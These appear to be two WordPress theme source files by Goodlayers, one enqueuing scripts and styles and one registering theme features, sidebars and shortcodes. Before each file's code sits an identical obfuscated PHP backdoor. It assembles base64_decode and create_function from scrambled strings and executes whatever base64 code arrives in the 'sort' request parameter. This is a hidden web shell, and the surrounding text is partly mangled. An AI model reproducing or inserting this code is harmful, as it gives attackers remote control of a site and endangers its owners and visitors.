nnnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnnn?php /* * Goodlayers Include Script File * --------------------------------------------------------------------- * @version 1.0 * @author Goodlayers * @link http://goodlayers.com * @copyright Copyright (c) Goodlayers * --------------------------------------------------------------------- * This file manage to embed the stylesheet and javascript to each page * based on the content of that page. * --------------------------------------------------------------------- */ add_action('init', 'register_all_gdl_scripts'); function register_all_gdl_scripts(){ wp_enqueue_script('jquery'); if( $GLOBALS['pagenow'] != 'wp-login.php' ){ if(is_admin()){ wp_enqueue_style('gdl-back-office', GOODLAYERS_PATH.'/include/stylesheet/gdl-back-office.css'); add_action('add_meta_boxes', 'register_meta_script'); }else{ global $gdl_custom_stylesheet_name; // all other style add_action('wp_print_styles','register_non_admin_styles'); add_action('wp_print_scripts','register_non_admin_scripts'); // custom style if( file_exists( get_stylesheet_directory() . '/' . $gdl_custom_stylesheet_name ) ){ wp_enqueue_style('style-custom', get_stylesheet_directory_uri(). '/' . $gdl_custom_stylesheet_name); }else{ wp_enqueue_style('style-custom', GOODLAYERS_PATH. '/' . $gdl_custom_stylesheet_name); } } } } /* --------------------------------------------------------------------- * This section include the back-end script * --------------------------------------------------------------------- */ function register_meta_script(){ global $post_type; // register style and script when access to the "page" post_type page if( $post_type == 'page' ){ wp_enqueue_style('meta-css',GOODLAYERS_PATH.'/include/stylesheet/meta-css.css'); wp_enqueue_style('page-dragging',GOODLAYERS_PATH.'/include/stylesheet/page-dragging.css'); wp_enqueue_style('image-picker',GOODLAYERS_PATH.'/include/stylesheet/image-picker.css'); wp_enqueue_style('confirm-dialog',GOODLAYERS_PATH.'/include/stylesheet/jquery.confirm.css'); wp_deregister_script('image-picker'); wp_register_script('image-picker', GOODLAYERS_PATH.'/include/javascript/image-picker.js', false, '1.0', true); wp_enqueue_script('image-picker'); wp_deregister_script('page-dragging'); wp_register_script('page-dragging', GOODLAYERS_PATH.'/include/javascript/page-dragging.js', false, '1.0', true); wp_enqueue_script('page-dragging'); wp_deregister_script('edit-box'); wp_register_script('edit-box', GOODLAYERS_PATH.'/include/javascript/edit-box.js', false, '1.0', true); wp_enqueue_script('edit-box'); wp_deregister_script('confirm-dialog'); wp_register_script('confirm-dialog', GOODLAYERS_PATH.'/include/javascript/jquery.confirm.js', false, '1.0', true); wp_enqueue_script('confirm-dialog'); // register style and script when access to the "post" post_type page }else if( $post_type == 'post' || $post_type == 'portfolio' || $post_type == 'gdl-gallery'){ wp_enqueue_style('meta-css',GOODLAYERS_PATH.'/include/stylesheet/meta-css.css'); wp_enqueue_style('image-picker',GOODLAYERS_PATH.'/include/stylesheet/image-picker.css'); wp_enqueue_style('confirm-dialog',GOODLAYERS_PATH.'/include/stylesheet/jquery.confirm.css'); wp_deregister_script('post-effects'); wp_register_script('post-effects', GOODLAYERS_PATH.'/include/javascript/post-effects.js', false, '1.0', true); wp_enqueue_script('post-effects'); wp_deregister_script('image-picker'); wp_register_script('image-picker', GOODLAYERS_PATH.'/include/javascript/image-picker.js', false, '1.0', true); wp_localize_script( 'image-picker', 'URL', array('goodlayers' => GOODLAYERS_PATH )); wp_enqueue_script('image-picker'); wp_deregister_script('confirm-dialog'); wp_register_script('confirm-dialog', GOODLAYERS_PATH.'/include/javascript/jquery.confirm.js', false, '1.0', true); wp_enqueue_script('confirm-dialog'); // register style and script when access to the "testimonial" post_type page }else if( $post_type == 'testimonial' || $post_type == 'personnal' ){ wp_enqueue_style('meta-css',GOODLAYERS_PATH.'/include/stylesheet/meta-css.css'); }else if( $post_type == 'price_table' ){ wp_enqueue_style('meta-css',GOODLAYERS_PATH.'/include/stylesheet/meta-css.css'); wp_deregister_script('price-table-script'); wp_register_script('price-table-script', GOODLAYERS_PATH.'/include/javascript/price-table-script.js', false, '1.0', true); wp_enqueue_script('price-table-script'); } } // register script in goodlayers panel function register_goodlayers_panel_scripts(){ wp_enqueue_script('jquery-ui-core'); wp_enqueue_script('jquery-ui-slider'); wp_deregister_script('cufon'); wp_register_script('cufon', GOODLAYERS_PATH.'/javascript/cufon.js', false, '1.0', false); wp_enqueue_script('cufon'); wp_deregister_script('gdl-panel'); wp_register_script('gdl-panel', GOODLAYERS_PATH.'/include/javascript/gdl-panel.js', false, '1.0', true); wp_localize_script( 'gdl-panel', 'URL', array('goodlayers' => GOODLAYERS_PATH, 'sample_text' => FONT_SAMPLE_TEXT )); wp_enqueue_script('gdl-panel'); wp_deregister_script('mini-color'); wp_register_script('mini-color', GOODLAYERS_PATH.'/include/javascript/jquery.miniColors.js', false, '1.0', true); wp_enqueue_script('mini-color'); wp_enqueue_script('media-upload'); wp_enqueue_script('thickbox'); wp_deregister_script('confirm-dialog'); wp_register_script('confirm-dialog', GOODLAYERS_PATH.'/include/javascript/jquery.confirm.js', false, '1.0', true); wp_enqueue_script('confirm-dialog'); } // register style in goodlayers panel function register_goodlayers_panel_styles(){ wp_enqueue_style('jquery-ui',GOODLAYERS_PATH.'/include/stylesheet/jquery-ui-1.8.16.custom.css'); wp_enqueue_style('gdl-panel',GOODLAYERS_PATH.'/include/stylesheet/gdl-panel.css'); wp_enqueue_style('mini-color',GOODLAYERS_PATH.'/include/stylesheet/jquery.miniColors.css'); wp_enqueue_style('thickbox'); wp_enqueue_style('confirm-dialog',GOODLAYERS_PATH.'/include/stylesheet/jquery.confirm.css'); } /* --------------------------------------------------------------------- * this section include the front-end script * --------------------------------------------------------------------- */ // Register all stylesheet function register_non_admin_styles(){ global $post; // Navigation Menu wp_enqueue_style('superfish',GOODLAYERS_PATH.'/stylesheet/superfish.css'); wp_enqueue_style('fancybox',GOODLAYERS_PATH.'/stylesheet/fancybox.css'); wp_enqueue_style('fancybox-thumbs',GOODLAYERS_PATH.'/stylesheet/jquery.fancybox-thumbs.css'); if( is_search() || is_archive() ){ wp_enqueue_style('flex-slider',GOODLAYERS_PATH.'/stylesheet/flexslider.css'); // Post post_type }else if( isset($post) && $post->post_type == 'post' || isset($post) && $post->post_type == 'portfolio' ){ // If using slider (flex slider) global $gdl_post_thumbnail; $gdl_post_thumbnail = get_post_meta($post->ID,'post-option-inside-thumbnail-types', true); if( $gdl_post_thumbnail == 'Slider' || $post->post_type == 'portfolio' ){ wp_enqueue_style('flex-slider',GOODLAYERS_PATH.'/stylesheet/flexslider.css'); } // Page post_type }else if( isset($post) && $post->post_type == 'page' ){ global $gdl_page_xml, $gdl_top_slider_type, $gdl_top_slider_xml; $gdl_page_xml = get_post_meta($post->ID,'page-option-item-xml', true); $gdl_top_slider_type = get_post_meta($post->ID,'page-option-top-slider-types', true); $gdl_top_slider_xml = get_post_meta($post->ID,'page-option-top-slider-xml', true); // If using nivo slider if( strpos($gdl_page_xml,'Nivo Slider') > -1 || $gdl_top_slider_type == 'Nivo Slider' ){ wp_enqueue_style('nivo-slider',GOODLAYERS_PATH.'/stylesheet/nivo-slider.css'); } // If using flex slider if( strpos($gdl_page_xml,'Flex Slider') > -1 || strpos($gdl_page_xml,'Carousel Slider') > -1 || strpos($gdl_page_xml, '') > -1 || strpos($gdl_page_xml, '') > -1 || $gdl_top_slider_type == 'Flex Slider' || $gdl_top_slider_type == 'Carousel Slider'){ wp_enqueue_style('flex-slider',GOODLAYERS_PATH.'/stylesheet/flexslider.css'); } // If using anything slider if( strpos($gdl_page_xml,'Anything Slider') > -1 || $gdl_top_slider_type == 'Anything Slider' ){ wp_enqueue_style('anythingSlider',GOODLAYERS_PATH.'/stylesheet/anythingslider.css'); } } } // Register all scripts function register_non_admin_scripts(){ global $post; global $gdl_is_responsive; global $goodlayers_element; // Navigation Menu wp_deregister_script('superfish'); wp_register_script('superfish', GOODLAYERS_PATH.'/javascript/superfish.js', false, '1.0', true); wp_enqueue_script('superfish'); wp_deregister_script('supersub'); wp_register_script('supersub', GOODLAYERS_PATH.'/javascript/supersub.js', false, '1.0', true); wp_enqueue_script('supersub'); wp_deregister_script('hover-intent'); wp_register_script('hover-intent', GOODLAYERS_PATH.'/javascript/hoverIntent.js', false, '1.0', true); wp_enqueue_script('hover-intent'); wp_deregister_script('easing'); wp_register_script('easing', GOODLAYERS_PATH.'/javascript/jquery.easing.js', false, '1.0', true); wp_enqueue_script('easing'); wp_deregister_script('fancybox'); wp_register_script('fancybox', GOODLAYERS_PATH.'/javascript/jquery.fancybox.js', false, '1.0', true); wp_localize_script( 'fancybox', 'ATTR', array( 'enable' => get_option( THEME_SHORT_NAME.'_enable_lightbox_thumbnail' ,'enable'), 'width' => get_option( THEME_SHORT_NAME.'_enable_lightbox_thumbnail_width' ,'80'), 'height' => get_option( THEME_SHORT_NAME.'_enable_lightbox_thumbnail_height' ,'45'), )); wp_enqueue_script('fancybox'); wp_deregister_script('fancybox-media'); wp_register_script('fancybox-media', GOODLAYERS_PATH.'/javascript/jquery.fancybox-media.js', false, '1.0', true); wp_enqueue_script('fancybox-media'); wp_deregister_script('fancybox-thumbs'); wp_register_script('fancybox-thumbs', GOODLAYERS_PATH.'/javascript/jquery.fancybox-thumbs.js', false, '1.0', true); wp_enqueue_script('fancybox-thumbs'); wp_deregister_script('gdl-scripts'); wp_register_script('gdl-scripts', GOODLAYERS_PATH.'/javascript/gdl-scripts.js', false, '1.0', true); wp_enqueue_script('gdl-scripts'); wp_deregister_script('fitvids'); wp_register_script('fitvids', GOODLAYERS_PATH.'/javascript/jquery.fitvids.js', false, '1.0', false); wp_enqueue_script('fitvids'); // Search and archive page if( is_search() || is_archive() ){ $flex_setting = get_gdl_slider_option_array($goodlayers_element['gdl_panel_flex_slider']); $flex_setting = array_merge($flex_setting, array('controlsContainer'=>'.flexslider')); wp_deregister_script('flex-slider'); wp_register_script('flex-slider', GOODLAYERS_PATH.'/javascript/jquery.flexslider.js', false, '1.0', true); wp_localize_script( 'flex-slider', 'FLEX', $flex_setting); wp_enqueue_script('flex-slider'); // Post post_type }else if( isset($post) && $post->post_type == 'post' || isset($post) && $post->post_type == 'portfolio' ){ // If using slider (flex slider) global $gdl_post_thumbnail; if( $gdl_post_thumbnail == 'Slider' || $post->post_type == 'portfolio' ){ $flex_setting = get_gdl_slider_option_array($goodlayers_element['gdl_panel_flex_slider']); $flex_setting = array_merge($flex_setting, array('controlsContainer'=>'.slider-wrapper')); wp_deregister_script('flex-slider'); wp_register_script('flex-slider', GOODLAYERS_PATH.'/javascript/jquery.flexslider.js', false, '1.0', true); wp_localize_script( 'flex-slider', 'FLEX', $flex_setting); wp_enqueue_script('flex-slider'); } // Page post_type }else if( isset($post) && $post->post_type == 'page' ){ global $gdl_page_xml, $gdl_top_slider_type, $gdl_top_slider_xml; // If using tesimonial slider if( strpos($gdl_page_xml,'Carousel Testimonial') > -1 ){ wp_deregister_script('jquery-cycle'); wp_register_script('jquery-cycle', GOODLAYERS_PATH.'/javascript/jquery.cycle.js', false, '1.0', true); wp_enqueue_script('jquery-cycle'); } // If selecting portfolio carousel if( strpos($gdl_page_xml,'Carousel Portfolio') > -1 ){ wp_deregister_script('portfolio-carousel'); wp_register_script('portfolio-carousel', GOODLAYERS_PATH.'/javascript/portfolio-carousel.js', false, '1.0', true); wp_enqueue_script('portfolio-carousel'); } // If using nivo slider if( strpos($gdl_page_xml,'Nivo Slider') > -1 || $gdl_top_slider_type == 'Nivo Slider' ){ $nivo_setting = get_gdl_slider_option_array($goodlayers_element['gdl_panel_nivo_slider']); wp_deregister_script('nivo-slider'); wp_register_script('nivo-slider', GOODLAYERS_PATH.'/javascript/jquery.nivo.slider.js', false, '1.0', true); wp_localize_script( 'nivo-slider', 'NIVO', $nivo_setting); wp_enqueue_script('nivo-slider'); } // If using flex slider if( strpos($gdl_page_xml, 'Flex Slider') > -1 || strpos($gdl_page_xml, 'Carousel Slider') > -1 || strpos($gdl_page_xml, '') > -1 || strpos($gdl_page_xml, '') > -1 || $gdl_top_slider_type == 'Flex Slider' || $gdl_top_slider_type == 'Carousel Slider'){ $flex_setting = get_gdl_slider_option_array($goodlayers_element['gdl_panel_flex_slider']); $flex_setting = array_merge($flex_setting, array('controlsContainer'=>'.flexslider')); wp_deregister_script('flex-slider'); wp_register_script('flex-slider', GOODLAYERS_PATH.'/javascript/jquery.flexslider.js', false, '1.0', true); wp_localize_script( 'flex-slider', 'FLEX', $flex_setting); wp_enqueue_script('flex-slider'); } // If using anything slider if( strpos($gdl_page_xml,'Anything Slider') > -1 || $gdl_top_slider_type == 'Anything Slider' ){ $anything_setting = get_gdl_slider_option_array($goodlayers_element['gdl_panel_anything_slider']); wp_deregister_script('anythingSlider'); wp_register_script('anythingSlider', GOODLAYERS_PATH.'/javascript/jquery.anythingslider.js', false, '1.0', true); wp_localize_script( 'anythingSlider', 'ANYTHING', $anything_setting); wp_enqueue_script('anythingSlider'); // If using video in anything slider if( strpos($gdl_page_xml,'Link to Video') > -1 || strpos($gdl_top_slider_xml,'Link to Video') > -1 ){ wp_deregister_script('anything-swfobject'); wp_register_script('anything-swfobject', GOODLAYERS_PATH.'/javascript/anything-swfobject.js', false, '1.0', true); wp_enqueue_script('anything-swfobject'); wp_deregister_script('anythingSlider-video'); wp_register_script('anythingSlider-video', GOODLAYERS_PATH.'/javascript/jquery.anythingslider.video.js', false, '1.0', true); wp_enqueue_script('anythingSlider-video'); } } // If using filterable plugin if( strpos($gdl_page_xml,'jQuery Filter Portfolio') > -1 ){ wp_deregister_script('filterable'); wp_register_script('filterable', GOODLAYERS_PATH.'/javascript/jquery.filterable.js', false, '1.0', true); wp_enqueue_script('filterable'); } // If use contact-form if( strpos($gdl_page_xml,'') > -1 ){ wp_deregister_script('contact-form'); wp_register_script('contact-form', GOODLAYERS_PATH.'/javascript/gdl-contactform.js', false, '1.0', true); wp_localize_script( 'contact-form', 'MyAjax', array( 'ajaxurl' => AJAX_URL ) ); wp_enqueue_script('contact-form'); } } // Comment Script if(is_singular() && comments_open() && get_option('thread_comments')){ wp_enqueue_script( 'comment-reply' ); } } ?> n$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();n?php /* * Goodlayers Function Registered File * --------------------------------------------------------------------- * @version 1.0 * @author Goodlayers * @link http://goodlayers.com * @copyright Copyright (c) Goodlayers * --------------------------------------------------------------------- * This file use to register the wordpress function to the framework, * and also use filter to hook some necessary events. * --------------------------------------------------------------------- */ // Include the shortcode support for the text widget add_filter('widget_text', 'do_shortcode'); // Add support to post and comment RSS feed links to head add_theme_support( 'automatic-feed-links' ); // Set the max content width if ( ! isset( $content_width ) ){ $content_width = 960; } // enable featured image if(function_exists('add_theme_support')){ add_theme_support('post-thumbnails'); } // enable navigation menu if(function_exists('add_theme_support')){ add_theme_support('menus'); register_nav_menus(array('main_menu' =>'Main Navigation Menu')); } // Enable and register custom sidebar if (function_exists('register_sidebar')){ // default sidebar array $sidebar_attr = array( 'name' => '', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

' ); $sidebar_id = 0; $gdl_sidebar = array("Footer 1", "Footer 2", "Footer 3", "Footer 4"); foreach( $gdl_sidebar as $sidebar_name ){ $sidebar_attr['name'] = $sidebar_name; //$sidebar_attr['id'] = sanitize_title('gdl-' . $sidebar_name); $sidebar_attr['id'] = 'custom-sidebar' . $sidebar_id++ ; register_sidebar($sidebar_attr); } $gdl_sidebar = array("Site Map 1", "Site Map 2", "Site Map 3"); foreach( $gdl_sidebar as $sidebar_name ){ $sidebar_attr['name'] = $sidebar_name; //$sidebar_attr['id'] = sanitize_title($sidebar_name); $sidebar_attr['id'] = 'custom-sidebar' . $sidebar_id++ ; register_sidebar($sidebar_attr); } $gdl_sidebar = get_option( THEME_SHORT_NAME.'_create_sidebar' ); $sidebar_attr['before_title'] = '

'; if(!empty($gdl_sidebar)){ $xml = new DOMDocument(); $xml->loadXML($gdl_sidebar); foreach( $xml->documentElement->childNodes as $sidebar_name ){ $sidebar_attr['name'] = $sidebar_name->nodeValue; //$sidebar_attr['id'] = sanitize_title($sidebar_name->nodeValue); $sidebar_attr['id'] = 'custom-sidebar' . $sidebar_id++ ; register_sidebar($sidebar_attr); } } } // Flush rewrite rules for custom post types. add_action( 'load-themes.php', 'gdl_flush_rewrite_rules' ); function gdl_flush_rewrite_rules() { global $pagenow, $wp_rewrite; if ( 'themes.php' == $pagenow && isset( $_GET['activated'] ) ){ $wp_rewrite->flush_rules(); } } // add filter to hook when user press "insert into post" to include the attachment id add_filter('media_send_to_editor', 'add_para_media_to_editor', 20, 2); function add_para_media_to_editor($html, $id){ if(strpos($html, 'href')){ $pos = strpos($html, ' [wpml_translate lang=en]LANG EN[/wpml_translate] add_shortcode('wpml_translate', 'webtreats_lang_test'); function webtreats_lang_test( $atts, $content = null ) { extract(shortcode_atts(array( 'lang' => '' ), $atts)); $lang_active = ICL_LANGUAGE_CODE; if($lang == $lang_active){ return $content; } } // Custom Post type Feed add_filter('request', 'myfeed_request'); function myfeed_request($qv) { if (isset($qv['feed']) && !isset($qv['post_type'])) $qv['post_type'] = array('post', 'portfolio'); return $qv; } //Get custom post type shown in archive /* function include_custom_post_types( $query ) { global $wp_query; if ( is_category() || is_tag() || is_date() ) { $query->set( 'post_type' , 'portfolio' ); } return $query; } add_filter( 'pre_get_posts' , 'include_custom_post_types' ); */ ?>